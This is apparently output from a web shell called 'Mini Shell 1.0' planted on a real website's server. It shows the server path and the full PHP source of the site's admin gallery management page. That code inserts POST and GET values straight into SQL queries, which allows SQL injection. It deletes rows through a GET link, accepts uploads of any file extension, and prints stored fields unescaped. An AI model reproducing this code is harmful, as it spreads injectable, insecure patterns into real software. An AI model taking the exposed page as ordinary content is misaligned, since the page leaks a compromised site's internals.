HOME


Mini Shell 1.0
DIR:C:/Inetpub/vhosts/yantrashilpa.com/httpdocs/admin/
Upload File :
Current File : C:/Inetpub/vhosts/yantrashilpa.com/httpdocs/admin/view_gallery.php
<!DOCTYPE html>
<html lang="en">
<?php session_start(); ?>
<?php include "../includes/db.php" ?>
<?php include "../admin/includes/header.php" ?>
<?php
if(isset($_POST['edit'])){
  $post_id=$_POST['post_id'];
  $category=$_POST['category'];
  $description=$_POST['description'];
  $img_title=$_POST['title'];
  $img = uniqid('uploaded-', true) 
    . '.' . strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
  $img_Temp=$_FILES['image']['tmp_name'];
  if(move_uploaded_file($img_Temp,"./images/gallery/$img")){
    // $img_title;
    // $img;
 // move_uploaded_file($img_Temp,"./images/gallery/$img");
  $query="UPDATE gallery SET  description = '{$description}',title ='{$img_title}',image = '{$img}' WHERE id={$post_id}";
  }else
  {
   // $img = $_POST['image'] ;
	$query="UPDATE gallery SET  description = '{$description}',title ='{$img_title}' WHERE id={$post_id}";
  }
 // $query="UPDATE gallery SET  description = '{$description}',title ='{$img_title}',image = '{$img}' WHERE id={$post_id}";

  $result=mysqli_query($connection,$query);

 if($result){
   $_SESSION['edit_messages'] ="Successfully updated";
   
  }
  else{
    $_SESSION['edit_messages']="server error";
  }

}

if(isset($_GET['delete'])){
      $post_id=$_GET['delete'];
      $delete_img_query="SELECT image FROM gallery WHERE id={$post_id}";

      $delete_file=mysqli_query($connection,$delete_img_query);

      $fetch=mysqli_fetch_assoc($delete_file);
    
      $path="./images/gallery/{$fetch['image']}";
      if (is_file($path)) {
          unlink($path);
          } 

      $query="DELETE  FROM gallery WHERE id={$post_id}";

      $delete_query=mysqli_query($connection,$query);
      if($delete_query){
         $_SESSION['edit_messages'] ="Successfully deleted";
        
        }
        else{
          $_SESSION['edit_messages']="server error";
      }
     
       


    }?>

  <body>
    <div class="container-scroller">
        <?php include "../admin/includes/topbar.php" ?>

        <div class="container-fluid page-body-wrapper">

        <?php include "../admin/includes/nav.php" ?>
        <!-- partial -->
        <div class="main-panel">
          <div class="content-wrapper">
            <div class="page-header">
              <h3 class="page-title">Manage Gallery</h3>
              <nav aria-label="breadcrumb">
              </nav>
            </div>
            <div class="row">
              <div class="col-lg-12 grid-margin stretch-card">
                <div class="card">
                  <div class="card-body">
                    <h4 class="card-title">Image List</h4>
                    <p class="card-description"></code>
                    </p>
                    <?php
                        if(isset($_SESSION['edit_messages'])){
                            echo "<div class='alert alert-primary'>";
                                echo "<span class='glyphicon glyphicon-remove'></span>&nbsp;".$_SESSION['edit_messages']."<br>";
                            echo "</div>";
                         unset($_SESSION['edit_messages']);
                        }
                    ?>  
                    <table class="table table-bordered" id="gallery">
                      <thead>
                        <tr>
                          <th> # </th>
                          <th>Image</th>
                          <!-- <th>Category</th> -->
                          <th>Title </th>
                          <th>Description </th>
                          <th>Action</th>
                        </tr>
                      </thead>
                      <tbody>
                    <?php
                        $query="SELECT * FROM gallery";
                        $result=mysqli_query($connection,$query);
                        $count=mysqli_num_rows($result);
                        $i = 0;
                        while($row=mysqli_fetch_assoc($result)){
                          $i++;
                        ?>
                        <tr>
                          <td> <?php echo $i ?> </td>
                         <!--  <td> <?php echo $row['category'] ?></td> -->
                          <td><img src="./images/gallery/<?php echo $row['image'] ?>" alt="image"/></td>
                          <td> <?php echo $row['title'] ?></td>
                          <td> <?php echo substr($row['description'], 0,10) ?>......</td>
                          <td><a class="btn btn-sm btn-primary mdi mdi-delete"href="edit_gallery.php?edit=<?php echo $row['id'] ?>" style="color:white">Edit</a>&nbsp;
                         <a class="btn btn-sm btn-danger mdi mdi-delete"href="view_gallery.php?delete=<?php echo $row['id'] ?>" style="color:white">Delete</a>
                        </td>
                        </tr>
                    <?php } ?>
                      </tbody>
                    </table>
                  </div>
                </div>
              </div>
              
             
            </div>
          </div>
        </div>
        <!-- main-panel ends -->
      </div>
      <!-- page-body-wrapper ends -->
    </div>
    <!-- container-scroller -->
    <!-- plugins:js -->
    <script src="./vendors/js/vendor.bundle.base.js"></script>
    <!-- endinject -->
    <script src="./vendors/typeahead.js/typeahead.bundle.min.js"></script>
    <!-- End plugin js for this page -->
    <!-- inject:js -->
    <script src="./js/misc.js"></script>
    <!-- endinject -->
    <!-- Custom js for this page -->
    <script src="./js/typeahead.js"></script>
    <script src="./js/jquery.dataTables.min.js"></script>
    <!-- End custom js for this page -->
    <script type="text/javascript">
        $(document).ready( function () {
            $('.table').DataTable({
                // scrollY: '100px',
                
            });
        } );
    </script>
  </body>
</html>